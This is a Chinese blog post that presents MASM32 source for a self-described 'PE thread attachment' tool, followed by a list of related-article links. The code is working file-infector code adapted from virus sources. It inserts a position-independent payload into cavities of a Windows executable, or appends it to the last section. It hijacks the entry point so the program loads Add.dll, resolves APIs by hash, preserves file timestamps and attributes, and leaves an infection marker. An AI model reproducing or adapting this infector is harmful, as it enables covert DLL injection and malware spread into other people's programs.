PE线程附加工具

《Windows PE》2.2.2 加载PE文件二 doc .mp3 .jpg等等都是有文件格式的,我们只需要关心.exe和.dll文件格式,因为.exe和.dll文件是可执行文件格式,其他的文件是不可执行的,不能在CPU上运行的。比如: PE 它是windows下的文件格式,是MZ打头的(4D5A)只有两个字节,后面很大一片就是对这个结构体的管理,比如代码在什么位置,图像在什么位置,文字在什么位置,在前面PE头中都是有记录的。除了默认的PE头之外,每个节区都是有命名的,例如.text节区为代码段,.data节区为数据段,.rsrc节区保存资源。 阅读详情
网上此类代码很多,不过大多都是在文件最后增加一个节,并改变PE文件的入口地址来达到目的。(当然这也是最经典的方式!)
不过这个方法也有它的不足之处,那就是怕文件头没有地方再新增节表了。所以俺更喜欢把代码插入PE文件的空隙(浪费资源可耻啊!),如果空隙不够的话就增加最后一个节的长度(因为现在很多软件都加了壳,基本上没有什么空隙),呵呵。
修改后的PE文件会加载同目录下的Add.dll文件!
源代码如下,写得很匆忙,Bug可能很多,也没加什么注释,请见谅!
;*********************************************************
;PE文件附加线程修改器1.0 by zjjmj2002
;借鉴了很多病毒的源代码,特此表示感谢!
;写得很急,可能Bug很多,请见谅!
;*********************************************************


.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include shell32.inc
include comdlg32.inc
include    masm32.inc
include debug.inc

includelib kernel32.lib
includelib user32.lib
includelib shell32.lib
includelib comdlg32.lib
includelib masm32.lib
includelib debug.lib

;*********************************************************
;定义宏
;*********************************************************

CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>            
       sym db 0        
  else            
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM

;*********************************************************
;常量定义
;*********************************************************
VirusSize = offset VirusEnd-offset VirusStart
.const
IDI_LC                equ    1
ICO_MAIN            equ    2
IDC_BUTTON_BROWSE        equ    3000
IDC_EDIT_FILENAME        equ    3001
IDC_EDIT_PASSWORD        equ    3002
IDC_CHECKBOX_KEEPBACKUP        equ    3003
IDC_BUTTON_PROCESS        equ    3004
IDC_BUTTON_ABOUT        equ    3005
IDC_BUTTON_EXIT            equ    3006
IDC_BUTTON_HELP            equ    3007
IDC_BUTTON_HOMEPAGE        equ    3008
DLG_HELP            equ    3009
IDC_EDIT_PASSWORD_2        equ    3010
IDM_MENU_ABOUT            equ    3011

;*********************************************************
;变量定义
;*********************************************************
.data
szDlgName            db    "DIALOG", 0
szCaption            db    " ", 0
szMenuAbout            db    "About Me!", 0
szFileFilter            db    "Executables (*.exe)", 0, "*.exe", 0, 0
szStatusDone            db    "Done!", 0
szError                db    "Error", 0
szErrorThread            db    "Error at %08Xh", 13, 10, "Registers:", 13, 10, "eax = %08Xh ebx = %08Xh ecx = %08Xh", 13, 10, "edx = %08Xh esp = %08Xh ebp = %08Xh", 13, 10, "esi = %08Xh edi = %08Xh", 13, 10, 13, 10, "Recovering...", 0
szErrorFinal            db    "Error at %08Xh", 13, 10, "Quitting...", 0
szFileName            db    256 dup (0)


;

;*********************************************************
;常量定义
;*********************************************************
.const

;*********************************************************
;代码段开始
;*********************************************************
.code
VirusStart:
pushad

call @F
@@:
pop ebx
sub ebx,offset @B

.if ebx    ;in host?
mov eax,[esp+24h]
.else
mov eax,[esp+20h]
.endif
@@:
and ax,0f000h
sub eax,1000h
cmp word ptr [eax],'ZM'
jnz @b
mov ebp,eax ;EBP=hKernel32


.if edx ;if in carrier ,restore the old entry!
sub dword ptr [esp+20h],5
mov edx,[esp+20h]
mov al,dwOldEntryCom[ebx]
mov [edx],al
mov eax,dword ptr dwOldEntryCom[ebx+1]
mov [edx+1],eax
.endif
call @f
db "add.dll",0
@@:
call dwLoadLibraryA[ebx]

popad
ret
dwOldEntryCom db 0,0,0,0,0 ;The OldEntry

;Section Data
_SectionAddress:
dd offset VirusStart
dd VirusSize

_GetProcAddress proc _hModule,_ProcName ;This routine is writing by others:)
pushad

mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
add esi,_hModule

@@:
push ecx
lodsd
add eax,_hModule
xor edi,edi
.repeat
mov ecx,[eax]
inc eax
adc edi,ecx
rol ecx,8
.until cl==0
cmp edi,_ProcName ;Add and compare ,maybe have bugs.
pop ecx
loopnz @b

.if ZERO?
sub esi,4
sub esi,_hModule
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
mov [esp+1ch],edx
.else
mov dword ptr [esp+1ch],0
.endif

popad
ret
_GetProcAddress endp

FunctionNameTab:
szCreateProcessW dd 074D9F4C0h
szCreateFileW dd 01479946Fh
szGetFileAttributesW dd 004788654h
szSetFileAttributesW dd 004788660h
szCreateFileMappingW dd 0E3486339h
szMapViewOfFile dd 0D444401Dh
szUnmapViewOfFile dd 0A6131C00h
szGetFileSize dd 01E92925Ch
szGetFileTime dd 01286865Dh
szSetFileTime dd 012868669h
szGetFileType dd 02599996Dh
szCloseHandle dd 027969D71h
szCreateProcessInternalW dd 0B51A3504h
szLoadLibraryA dd 07DDF0CDCh
szOpenProcess dd 050B5B28Bh
szVirtualAllocEx dd 062D4C5D2h
szLocalFree dd 051B4BEA3h
szGetProcAddress dd 05ED2C494h

dd 0


FunctionAddressTab:
dwCreateProcessW dd 0
dwCreateFileW dd 0
dwGetFileAttributesW dd 0
dwSetFileAttributesW dd 0
dwCreateFileMappingW dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwGetFileSize dd 0
dwGetFileTime dd 0
dwSetFileTime dd 0
dwGetFileType dd 0
dwCloseHandle dd 0
dwCreateProcessInternalW dd 0
dwLoadLibraryA dd 0
dwOpenProcess dd 0
dwVirtualAllocEx dd 0
dwLocalFree dd 0
dwGetProcAddress dd 0
szVersion db 'VER1.0',0    
VirusEnd:

.data?

;*********************************************************
;修改PE文件代码段开始
;*********************************************************
.code

AboutProc    proc uses edx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   .if uMsg == WM_CLOSE
       invoke EndDialog, hWnd, 0

   .elseif    uMsg == WM_INITDIALOG
       ;设置我的图标:
       invoke LoadIcon, hInstance, IDI_LC
       invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax

   .elseif uMsg == WM_COMMAND
       mov eax, wParam
       mov edx, eax
       shr edx, 16
       movzx eax, ax
       .if edx == BN_CLICKED
           .if eax == IDCANCEL || eax == IDOK
               invoke EndDialog, hWnd, NULL
           .elseif eax == IDC_BUTTON_HOMEPAGE
               ;打开我的主页:
               invoke ShellExecute, hWnd, CTEXT("open"), CTEXT(" http://bbs.618100.com"), NULL, NULL, SW_SHOWNORMAL
           .elseif eax == IDC_BUTTON_HELP
               ;打开 help.chm :
               invoke ShellExecute, hWnd, CTEXT("open"), CTEXT("help.txt"), NULL, NULL, SW_SHOWNORMAL
           .endif
       .endif

   .else
       mov eax, FALSE
       ret
   .endif

   mov eax, TRUE
   ret
AboutProc    endp

_FindSpace proc _StartAddress,_Size,_RequireSize
pushfd
push esi
push edi
cld

mov eax,_StartAddress
.if word ptr [eax]=='ZM'
add eax,[eax+3ch]
.if dword ptr [eax]=='EP'
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
sub edx,_StartAddress
sub _Size,edx
add _StartAddress,edx
.endif
.endif

mov edi,_StartAddress
mov ecx,_Size
shr ecx,2
xor eax,eax
@@:
repnz scasd
lea esi,[edi-4]
mov edx,esi
repz scasd
sub edx,edi
neg edx
sub edx,4
jecxz _FindSpace1
cmp edx,_RequireSize
jb @b
_FindSpace1:
.if edx>=_RequireSize
lea eax,[esi+4]
sub edx,4
.endif

pop edi
pop esi
popfd
ret
_FindSpace endp

_TranslateAddr proc _hModule,_Addr,_Flag
local @dwFlag
xor eax,eax
pushad

mov eax,_Flag
shr eax,1
mov @dwFlag,eax
and byte ptr _Flag,1

mov eax,_hModule
add eax,[eax+3ch]
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax

mov ecx,_Addr
.if _Flag==0 && ecx>_hModule
sub ecx,_hModule
.elseif _Flag==1 && ecx>[eax+34h]
sub ecx,[eax+34h]
.endif
mov _Addr,ecx

.if ecx<[eax+54h]
.if _Flag==0
add ecx,[eax+34h]
.else
add ecx,_hModule
.endif
mov [esp+1ch],ecx
jmp _TranslateAddr1
.endif

movzx ecx,word ptr [eax+6]
.repeat
.if _Flag==0
mov esi,[edx+14h]
mov edi,[edx+10h]
add edi,esi
.else
mov esi,[edx+12]
mov edi,[edx+8]
add edi,esi
.endif

.if _Addr>=esi && _Addr<edi

.if !@dwFlag
test byte ptr [edx+27h],80h
.if !ZERO?
mov dword ptr [esp+1ch],-1
.break
.endif
.endif

sub esi,_Addr
neg esi
.if _Flag==0
add esi,[edx+12]
add esi,[eax+34h]
.else
add esi,[edx+14h]
add esi,_hModule
.endif
mov [esp+1ch],esi
.break

.endif

add edx,28h
.break .if !ecx
.untilcxz

_TranslateAddr1:
popad
ret
_TranslateAddr endp

;The infection method is cavity infection.It will insert pieces of itself to the cavity of host
;file,but if there are no enough place for it,it will append to the tail of host file.

Protect proc    proc _lpFileName;infect file
   
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
local @szTempBuffer[100h]:byte

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushad
xor ebx,ebx
push _lpFileName
call dwGetFileAttributesW[ebx]
.if eax!=-1
mov @dwFileAttributes,eax

push 80h
push _lpFileName
call dwSetFileAttributesW[ebx]

push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
call dwCreateFileW[ebx]
.if eax!=-1
mov @hFile,eax

push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK

push 0
push @hFile
call dwGetFileSize[ebx]
mov @dwFileSize,eax

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]

push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
.if eax
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
.if eax
mov @lpFileMap,eax
;assume eax:img_dos_hdr<>
;.if @dwFileSize<10000000 ;I dont like infect BIG file !
.if word ptr [eax]=='ZM' ;eax.e_magic
.if byte ptr [eax+38h]==00
add eax,[eax+3ch] ;add eax,eax.e_lfanew
;assume eax:img_nt_hdrs<>
.if dword ptr [eax]=='EP' ;eax.Signature
bt dword ptr [eax+16h],13 ;eax.Characteristics
.if !CARRY?

lea edi,@szTempBuffer
mov eax,@lpFileMap
mov edx,@dwFileSize
push 18h
pop ecx
@@:
push ecx

push VirusSize
push edx
push eax
call _FindSpace
.if eax
push eax
push 0
push eax
push @lpFileMap
call _TranslateAddr
cmp eax,1
pop eax
jl _EditFile1
stosd
xchg eax,edx
stosd
xchg eax,edx
_EditFile1:
add eax,edx
mov ecx,eax
sub ecx,@lpFileMap
mov edx,@dwFileSize
sub edx,ecx
.endif

or eax,eax
pop ecx
loopnz @b
xor eax,eax
stosd
stosd

push 4
pop edx
.while dword ptr [@szTempBuffer+edx]

.if dword ptr [@szTempBuffer+edx] >= VirusSize
mov eax,dword ptr [@szTempBuffer+edx-4]
mov dword ptr @szTempBuffer,eax
mov eax,dword ptr [@szTempBuffer+edx]
mov dword ptr @szTempBuffer+4,eax
xor eax,eax
mov dword ptr @szTempBuffer+8,eax
mov dword ptr @szTempBuffer+12,eax
.break
.elseif dword ptr [@szTempBuffer+edx] >= VirusSize
mov eax,dword ptr [@szTempBuffer+edx-4]
xchg dword ptr @szTempBuffer,eax
mov dword ptr [@szTempBuffer+edx-4],eax
mov eax,dword ptr [@szTempBuffer+edx]
xchg dword ptr @szTempBuffer+4,eax
mov dword ptr [@szTempBuffer+edx],eax
.break
.endif

add edx,8
.endw

push 4
pop edx
xor eax,eax
.while dword ptr [@szTempBuffer+edx]
add eax,dword ptr [@szTempBuffer+edx] ;Count Space
add edx,8
.endw

.if dword ptr [@szTempBuffer+4] >= VirusSize && eax >= VirusSize
mov eax,VirusSize
lea edx,@szTempBuffer
lea esi,VirusStart[ebx]
.while dword ptr [edx]
.if dword ptr [edx+4] >= eax
mov dword ptr [edx+4],eax
.endif
mov edi,[edx]
mov ecx,[edx+4]
rep movsb
sub eax,[edx+4]
.break .if !eax
add edx,8
.endw
xor eax,eax
mov [edx+8],eax
mov [edx+12],eax

lea esi,@szTempBuffer
mov edi,[esi]
add edi,offset _SectionAddress-offset VirusStart

mov edx,esi
.while dword ptr [edx]
push 2
push dword ptr [edx]
push @lpFileMap
call _TranslateAddr
mov [edx],eax
add edx,8
.endw
push 19h*2
pop ecx
pushad
rep movsd
popad

mov edx,@lpFileMap
add edx,[edx+3ch] ;e_lfanew edx:img_nt_hdrs<>
push 3
push dword ptr [edx+28h] ;img_nt_hdrs.AddressOfEntryPoint
push @lpFileMap
call _TranslateAddr
mov esi,eax ;esi=Enter addr
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx ;save Enter addr edi=offset __SectionAddress
sub edi,offset _SectionAddress-offset VirusStart ;edi=offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h] ;edx.ImageBase
sub eax,[edx+28h] ;edx.AddressOfEntryPoint
sub eax,5 ;5byte of
mov byte ptr [esi],0e8h ;Opcode of Call
mov [esi+1],eax ;new

movzx eax,word ptr [edx+14h] ;edx.SizeOfOptionalHeader
add eax,18h
movzx ecx,word ptr [edx+6] ;edx.NumberOfSections
add edx,eax ;edx:IMAGE_SECTION_HEADER
.repeat
mov eax,[edx+10h] ;edx.
.if [edx+8]<eax ;edx.
mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h ;
add edx,28h ;
.break .if !ecx
.untilcxz



.else ;if there is no enough place, add it in tail

push @lpFileMap
call dwUnmapViewOfFile[ebx]

push @hFileMap
call dwCloseHandle[ebx]

mov eax,@dwFileSize
add eax,01000h

push 0
push eax
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
mov @lpFileMap,eax

add eax,[eax+3ch] ;eax:img_nt_hdrs<>
mov edx,[eax+50h] ;eax.SizeOfImage
add edx,1000h    
mov [eax+50h],edx
movzx ecx,word ptr [eax+6] ;eax.NumberOfSections
dec ecx
xchg eax,ecx
mov edx,28h
mul edx
xchg eax,ecx
movzx edx,word ptr [eax+14h] ;eax.SizeOfOptionalHeader
add edx,18h
add edx,eax
add edx,ecx

mov edi,@lpFileMap
add edi,@dwFileSize
lea esi,VirusStart[ebx]
mov ecx,VirusSize
pushad
rep movsb
popad

;mov ecx,@dwFileSize
;add ecx,VirusSize
;sub ecx,[edx+14h]
mov ecx,[edx+8]
add ecx,01000h
mov [edx+8],ecx
mov ecx,[edx+10h]
add ecx,01000h
mov [edx+10h],ecx


mov edx,@lpFileMap
add edx,[edx+3ch]
push 3
push dword ptr [edx+28h]
push @lpFileMap
call _TranslateAddr
mov esi,eax

mov edi,@lpFileMap
add edi,@dwFileSize
add edi,offset _SectionAddress-offset VirusStart
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx
sub edi,offset _SectionAddress-offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h]
sub eax,[edx+28h]
sub eax,5
mov byte ptr [esi],0e8h
mov [esi+1],eax

movzx eax,word ptr [edx+14h]
add eax,18h
movzx ecx,word ptr [edx+6]
add edx,eax
.repeat
mov eax,[edx+10h]
.if [edx+8]<eax
mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h
add edx,28h
.break .if !ecx
.untilcxz

push 2
push edi
push @lpFileMap
call _TranslateAddr
add edi,offset _SectionAddress-offset VirusStart
mov [edi],eax
xor eax,eax
mov [edi+8],eax

.endif
mov eax,@lpFileMap
mov dword ptr [eax+38h],'JMJ'
invoke MessageBox,NULL,CTEXT("修改成功",0),CTEXT("Success!",0),MB_OK
.endif;'DLL'
;invoke MessageBox,NULL,CTEXT("不是exe文件",0),CTEXT("Error!",0),MB_OK
.endif;'EP'
;invoke MessageBox,NULL,CTEXT("无EP标志",0),CTEXT("Error!",0),MB_OK
.endif;! '
;invoke MessageBox,NULL,CTEXT("已经Modify过了!",0),CTEXT("Error!",0),MB_OK
.endif;'ZM'
;invoke MessageBox,NULL,CTEXT("无MZ标志",0),CTEXT("Error!",0),MB_OK
;.endif ;size
push @lpFileMap
call dwUnmapViewOfFile[ebx]
.endif

push @hFileMap
call dwCloseHandle[ebx]
.endif

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
.endif

push @hFile
call dwCloseHandle[ebx]
.endif

push @dwFileAttributes
push _lpFileName
call dwSetFileAttributesW[ebx]
.endif

popad
ret
Protect endp
WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
   .if uMsg == WM_CLOSE
       invoke    EndDialog, hWnd, 0

   .elseif uMsg == WM_INITDIALOG
       ;设置我的图标:
       invoke    LoadIcon, hInstance, ICO_MAIN
       invoke    SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax

       
       invoke    CheckDlgButton, hWnd, IDC_CHECKBOX_KEEPBACKUP, BST_CHECKED

       
       mov eax, hWnd
       mov    mbp.hwndOwner, eax
       mov    ofn.hwndOwner, eax

       
       invoke    GetSystemMenu, eax, 0
       push    offset szMenuAbout
       push    IDM_MENU_ABOUT
       push    MFT_STRING
       push    eax
       ;invoke    AppendMenu, eax, MFT_SEPARATOR, 0, 0
       call    AppendMenu

       
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_FILENAME, EM_SETLIMITTEXT, sizeof szFileName, 0
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_PASSWORD, EM_SETLIMITTEXT, sizeof szPassword, 0
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_PASSWORD_2, EM_SETLIMITTEXT, sizeof szPassword_2, 0

   .elseif uMsg == WM_SYSCOMMAND
       .if    wParam == IDM_MENU_ABOUT
           ;打开“关于”对话框:
           invoke DialogBoxParam, hInstance, DLG_HELP, hWnd, offset AboutProc, 0
       .endif

   .elseif uMsg == WM_COMMAND
       mov    eax, wParam
       .if ax == IDC_BUTTON_BROWSE
           ;“打开文件”对话框:
           mov    ofn.lStructSize, sizeof ofn
           mov    ofn.lpstrFilter, offset szFileFilter
           mov    ofn.lpstrFile, offset szFileName
           mov    ofn.nMaxFile, sizeof szFileName
           invoke    GetOpenFileName, addr ofn
           ;如果选择了一个文件,就把它的文件名输出到“文件名”这个 Edit 中:
           test    eax, eax
           .if !zero?
               invoke    SetDlgItemText, hWnd, IDC_EDIT_FILENAME, addr szFileName
           .endif
       .elseif ax == IDC_BUTTON_PROCESS || ax == IDOK
           invoke    GetDlgItemTextW, [mbp.hwndOwner], IDC_EDIT_FILENAME, addr szFileName, sizeof szFileName    
           invoke    Protect,addr szFileName
       .elseif ax == IDC_BUTTON_ABOUT
           ;“关于”对话框:
           invoke DialogBoxParam, hInstance, DLG_HELP, hWnd, offset AboutProc, 0
       .elseif ax == IDC_BUTTON_EXIT
           ; Over,走人...
           invoke    SendMessage, hWnd, WM_CLOSE, 0, 0
       .endif

   .else
       mov eax, FALSE
       ret
   .endif

   xor    eax, eax
   ret
WndProc endp
main:
   ;以下一段内容不用多解释吧?
   call @F
@@:
pop ebx
sub ebx,offset @B
invoke LoadLibrary,CTEXT("kernel32.dll",0)
mov ebp,eax ;EBP=hKernel32

lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
push eax
push ebp
call _GetProcAddress
stosd
cmp dword ptr [esi],0
loopnz @b
   invoke    GetModuleHandle, eax
   mov        hInstance, eax
   mov        mbp.hInstance, eax
   mov        ofn.hInstance, eax
   invoke    DialogBoxParam, eax, addr szDlgName, 0, addr WndProc, eax
   invoke    ExitProcess, eax
end main
;********************    over    ********************
 
快速查询PE文件知识点和PE文件解析 阅读详情

相关推荐

PE文件本地DLL注入工具

本工具是通过修改PE文件的OEP位置,让它指向我们插入的代码(调用LoadLibrary函数),从而载入DLL进行程序注入,载入DLL后系统会自动调用DllMain函数,由于修改了OEP,使得我们的代码执行在被注入程序之前,且在同一地址空间里,简直可以为所欲为了。

windows线程创建

(本文章旨在个人回顾知识点) windows系统创建线程: (当然MFC、QT也有对应创建线程的接口函数) 1、使用windows API CreateThread创建线程: (不建议使用该接口创建线程)具体原因:http://blog.youkuaiyun.com/hkwlg1314/article/details/49429925 2、使用_beginThread创建线程: ①

qq_23903863的博客 2783

金蝶云星空核心数据表解析与高效关联查询指南

本文深入解析金蝶云星空核心数据表结构,提供高效关联查询的实战指南。文章详细介绍了基础资料、业务单据和财务模块的关键表及其关联逻辑,重点阐述了如何利用关联表(_LK表)进行跨单据溯源,并分享了编写高性能SQL的实用技巧与避坑建议,帮助开发者、实施顾问和数据分析师快速掌握数据查询方法,提升工作效率。

weixin_29254673的博客 526

IO进程线程--附加(0805-林雪阵)

在第一题的基础上实现,AB进程能够随时收发数据(附加题)

weixin_47348012的博客 149

跨平台烧录实战:RKDevTool在Windows/Linux/MacOS下的统一与差异

本文详细解析了RKDevTool在Windows、Linux和macOS三大操作系统下的固件烧录实践,重点介绍了RK3576开发板的环境配置、工具链选择、烧录模式切换及常见问题解决方案,帮助开发者构建稳定可靠的跨平台烧录工作流。

cnn8visionary的博客 206

车载导航测试,面试常见问题

车载导航测试是汽车软件测试的重要组成部分,涉及验证导航系统的功能、性能、可靠性和用户体验。在面试中,面试官通常会考察候选人的测试思维、问题解决能力和实际经验。以下我将从常见问题类别入手,逐步介绍面试中的高频问题,并提供结构化分析。通过以上结构化准备,你能在面试中自信应对车载导航测试相关问题。用户体验测试关注界面友好性和交互流畅性,安全测试则涉及功能安全和数据隐私。功能测试聚焦于导航核心功能的正确性,如路线规划、位置定位和地图显示。面试官会考察你如何识别、报告和跟踪缺陷,以及熟悉测试工具。

m0_69889939的博客 528

C# 线程同步与线程池 浅析

C# 线程同步与线程池 示例很简单,准备5个线程,每个线程同时向控制台输出数字,然后观察输出结果。 代码说明: ////线程列表private static List _threadList;          static voidMain(string[] args)        {            Program._threa

我的英文站点:https://iorilan.medium.com/ 3134

Autodesk激活无无网络选项?许可类型与脱机激活排查修复指南

软件许可激活是保障正版授权正常使用的核心环节,常见的授权模式包括单机版许可和网络版许可,两者在认证机制和应用场景上有所区别。单机版离线授权依托 FlexNet Licensing Service 等底层服务组件,在断网或内网环境下为用户提供可靠的技术支持与授权验证路径。然而在实际部署中,激活窗口并不总是显示“无网络激活方式”入口,这可能与许可类型选择、网络环境干扰、组件安装残留或系统时间偏差有关。理解入口的动态呈现逻辑与排查顺序,有助于在 AutoCAD、Revit 等 Autodesk 产品中高效解决脱机

weixin_28709649的博客 356

多线程 - 线程状态图解及附加消息队列案例

本人所有文章,只属学习整理及个人理解!有误还望谅解并指出,谢谢!持续更新中… 线程状态图 线程状态说明: 1、NEW: 线程对象已经创建,但是尚未启动的线程。 2、RUBBABLE: 正在 Java 虚拟机中执行的线程处于该状态。 3、BLOCKED:受阻塞并等待某个监视器锁的线程处于该状态。 4、WAITING:无限期地等待另一个线程来执行某个特定操作的线程处于该状态。 5、TIMED_...

ydqswu的博客 430

使用 Wireshark 进行计算机网络协议分析

文章目录实验前准备一、Wireshark抓包示例二、Wireshark实作1、数据链路层实作一 熟悉Ethernet帧结构实作二 了解子网内/外通信时的 MAC 地址实作三 掌握 ARP 解析过程2、网络层实作一 熟悉 IP 包结构实作二 IP 包的分段与重组实作三 考察 TTL 事件3、传输层实作一 熟悉 TCP 和 UDP 段结构实作二 分析 TCP 建立和释放连接4、应用层实作一 了解 DNS 解析实作二 了解 HTTP 的请求和应答 实验前准备 本部分实验用到的是抓包和协议分析软件——Wiresha

weixin_51087836的博客 8201

出现 has been blocked by CORS policy: No ‘Access-Control-Allow-Origin‘ header is present on the 解决方法

Access to XMLHttpRequest at 'http://127.0.0.1:5000/api/data' from origin 'http://10.197.0.79:8080' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

码农研究僧的博客 1万+

windows系统API之GetOpenFileName简单使用实例 C++和汇编code

1.C++程序: #include<Windows.h> #include<commdlg.h> char szFilter1[2][16] = { "Excutable Files", "*.exe;*.com" }; char szFileNameOpen2[MAX_PATH] = { 0 }; int main(int argc, char *argv[]) ...

paradox_1_0的博客 2249

CMOS图像传感器——工作原理

CMOS图像传感器的曝光与读出

沧海一升的博客 9460

PE线程附加

网上此类代码很多,不过大多都是在文件最后增加一个节,并改变PE文件的入口地址来达到目的。(当然这也是最经典的方式!)不过这个方法也有它的不足之处,那就是怕文件头没有地方再新增节表了。所以俺更喜欢把代码插入PE文件的空隙(浪费资源可耻啊!),如果空隙不够的话就增加最后一个节的长度(因为现在很多软件都加了壳,基本上没有什么空隙),呵呵。修改后的PE文件会加载同目录下的Add.dll文件!源代码如下,写

1454

自抗扰控制(ADRC)理论与工程实践:8.1 自适应ADRC与参数在线整定

自适应自抗扰控制(AADRC)针对传统固定参数ADRC在动态变化系统中的局限性,提出通过在线调整关键参数(如观测器带宽ω₀、控制器带宽ω_c)以适应对象动态变化。主要方法包括基于稳定性理论的自适应律设计和基于性能指标的优化调节,前者保证闭环稳定但设计复杂,后者通过梯度搜索或模糊规则实现性能优化但缺乏严格稳定性证明。当前挑战在于非线性时变系统的稳定性分析、参数变化速率限制及工程实现的计算负担。AADRC拓展了ADRC在变参数系统(如无人机、软体机器人)中的应用,是迈向自主智能控制的关键技术。

技术工作者 215

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

PE-bear:轻量级PE文件分析工具的核心功能与实战应用

在软件安全与逆向工程领域,理解可执行文件的结构是基础。Windows平台的可执行文件(PE文件)遵循特定的格式标准,其内部包含DOS头、NT头、节区表以及导入表、导出表、资源等关键数据结构。掌握这些结构的解析原理,对于恶意软件分析、漏洞研究、软件调试及加壳脱壳等技术实践至关重要。它使分析者能够在不运行程序的情况下,快速洞察其功能模块、依赖关系和潜在风险。PE-bear作为一款专注于PE文件结构的图形化分析工具,正是基于这一技术价值,将复杂的结构以直观的树形导航和详细视图呈现,极大提升了静态分析的效率。在应用

weixin_34208185的博客 351

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

《Windows PE权威指南》学习之第13章 PE补丁技术(1)

第12章介绍了PE变形技术,该技术研究的是程序的字节码;本章来研究PE补丁技术,该技术侧重于研究使用Masm32编写的补丁程序,而非程序字节码。PE补丁技术被广泛应用于PE病毒、PE加密解密等领域,通过对目标程序嵌入不同的补丁程序,可以实现不同的目的。 PE补丁分为动态补丁和静态补丁,其中静态补丁框架由两部分组成:补丁程序和将补丁程序附加到目标PE的补丁工具。

chenyijun的专栏 2702

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

【1】PE文件头

WindowPE文件

记录生命的轨迹 324

A LITE VIRUS ABOUT PE INFECT

请注意代码非我所有,我相信感兴趣的都能看懂 ^_^//////////////////////////////////////////////////////////////////////// Win32/Resurrection//// Coded in late June99/July99/[VX vacations]/December99//// (c)1999 Tcp/29A

kvk的专栏 3405

WINDOWS+PE权威指南读书笔记(20)

目录 PE补丁技术 动态补丁: 进程间的通信机制: 读写进程内存: 目标进程枚举: 执行远程线程: 静态补丁: 整体替换 PE 文件: 整体替换 DLL 文件: 部分修改 PE 文件 嵌入补丁程序: 嵌入补丁程序框架: 嵌入补丁程序编写规则 嵌入补丁字节码实例分析: 万能补丁码 原理:(入口函数处放补丁代码) 字节码: 运行测试: 小结: PE补丁技术 第 12 章介绍了 PE 变形技术,该技术研究的是程序的字节码; 本章来研究 PE 补丁技术, 该技术侧重于研

沐一 · 林 的博客 1450

C++PE文件格式解析类(轻松制作自己的PE文件解析器)

PE是Portable Executable File Format(可移植的运行体)简写,它是眼下Windows平台上的主流可运行文件格式。 PE文件里包括的内容非常多,详细我就不在这解释了,有兴趣的能够參看之后列出的參考资料及其它相关内容。 近期我也在学习PE文件格式,參考了很多资料。用C++封装了一个高效方便的PE文件格式解析的类。 该类对想学PE文件结构的朋友可算一份可贵的资...

weixin_34401479的博客 932

6.S081 附加Lab3 线程切换——源代码实现(trap,yeild,context,Scheduler)

6.S081 附加Lab3 线程切换——源代码实现(trap,yeild,context,Scheduler)

ahundredmile的博客 1445

PE文件格式详解(2)

<br />作者:MSDN <br /> 译者:李马 (http://home.nuc.edu.cn/~titilima) <br /><br />Windows NT附加域<br /><br />    添加到Windows NT PE文件格式中的附加域为Windows NT特定的进程行为提供了装载器的支持,以下为这些域的概述。 <br />    ·ImageBase。进程映像地址空间中的首选基地址。Windows NT的Microsoft Win32 SDK链接器将这个值默认设为0x

Matrix_Designer的专栏 710

深入探究 Win32 PE 文件格式,第二部分

